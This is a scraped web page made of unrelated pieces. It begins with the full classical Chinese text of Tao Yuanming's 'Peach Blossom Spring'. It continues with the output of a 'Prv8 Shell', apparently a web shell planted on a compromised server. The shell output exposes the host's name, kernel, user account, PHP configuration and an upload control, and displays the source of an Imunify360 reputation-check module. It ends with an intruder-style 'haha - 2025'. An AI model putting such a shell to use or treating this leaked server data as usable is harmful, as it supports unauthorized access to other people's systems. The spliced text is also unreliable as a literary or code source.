.

　晋太元中，武陵人捕鱼为业。缘溪行，忘路之远近。忽逢桃花林，夹岸数百步，中无杂树，芳草鲜美，落英缤纷。渔人甚异之，复前行，欲穷其林。　　林尽水源，便得一山，山有小口，仿佛若有光。便舍船，从口入。初极狭，才通人。复行数十步，豁然开朗。土地平旷，屋舍俨然，有良田、美池、桑竹之属。阡陌交通，鸡犬相闻。其中往来种作，男女衣着，悉如外人。黄发垂髫，并怡然自乐。　　见渔人，乃大惊，问所从来。具答之。便要还家，设酒杀鸡作食。村中闻有此人，咸来问讯。自云先世避秦时乱，率妻子邑人来此绝境，不复出焉，遂与外人间隔。问今是何世，乃不知有汉，无论魏晋。此人一一为具言所闻，皆叹惋。余人各复延至其家，皆出酒食。停数日，辞去。此中人语云：“不足为外人道也。”(间隔一作：隔绝) 　　既出，得其船，便扶向路，处处志之。及郡下，诣太守，说如此。太守即遣人随其往，寻向所志，遂迷，不复得路。　　南阳刘子骥，高尚士也，闻之，欣然规往。未果，寻病终。后遂无问津者。 . Prv8 Shell

Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory : /opt/imunify360/venv/lib64/python3.11/site-packages/defence360agent/api/server/

Upload File :

Current File : //opt/imunify360/venv/lib64/python3.11/site-packages/defence360agent/api/server/reputation.py

import json
import urllib.error
import urllib.request
import urllib.parse
import asyncio
from typing import List
import time
import logging

from defence360agent.utils import retry_on, split_for_chunk
from defence360agent.api.server import API, APIError

logger = logging.getLogger(__name__)


class ReputationAPI(API):
    REQUEST_URL = "/api/reputation/check"
    RESULT_URL = "/api/reputation/result"
    # during stress tests 'Request Entity Too Large' error has been caught,
    # in request size somewhere between 800000 and 900000 bytes
    # max domain length - 255, 800000 / 255 = 3137
    # 3000 is the nearest 'round' number
    CHUNK_SIZE = 3000
    WAIT_BEFORE_RETRY = 5
    WAIT_FOR_RESULT = 1200
    _SOCKET_TIMEOUT = 60

    @classmethod
    async def check(cls, domains: List[str]) -> List[dict]:
        logger.info("DomainListRequest domains: %s", domains)
        loop = asyncio.get_event_loop()
        return await loop.run_in_executor(None, cls._check, domains)

    @classmethod
    def _check(cls, domains: List[str]) -> List[dict]:
        result_list = []
        for chunk in split_for_chunk(domains, cls.CHUNK_SIZE):
            result = cls._check_chunk(chunk)
            next_chunk = cls._get_result(result["result_id"])
            result_list += next_chunk
        return result_list

    @classmethod
    @retry_on(APIError, timeout=WAIT_FOR_RESULT)
    def _check_chunk(cls, chunk) -> dict:
        check_request = urllib.request.Request(
            cls._BASE_URL + cls.REQUEST_URL,
            method="POST",
            headers={"Content-Type": "application/json"},
            data=json.dumps(dict(domains=chunk)).encode(),
        )
        return cls.request(check_request)

    @classmethod
    @retry_on(APIError, timeout=WAIT_FOR_RESULT)
    def _get_result(cls, result_id: str):
        data = dict(result_id=result_id)
        url = "{}?{}".format(
            cls._BASE_URL + cls.RESULT_URL, urllib.parse.urlencode(data)
        )
        request = urllib.request.Request(url)
        response = cls.request(request)
        result = response["result"]
        if result is None:
            # time inside sync executor
            time.sleep(cls.WAIT_BEFORE_RETRY)
            raise APIError("Response not ready yet")
        return result

haha - 2025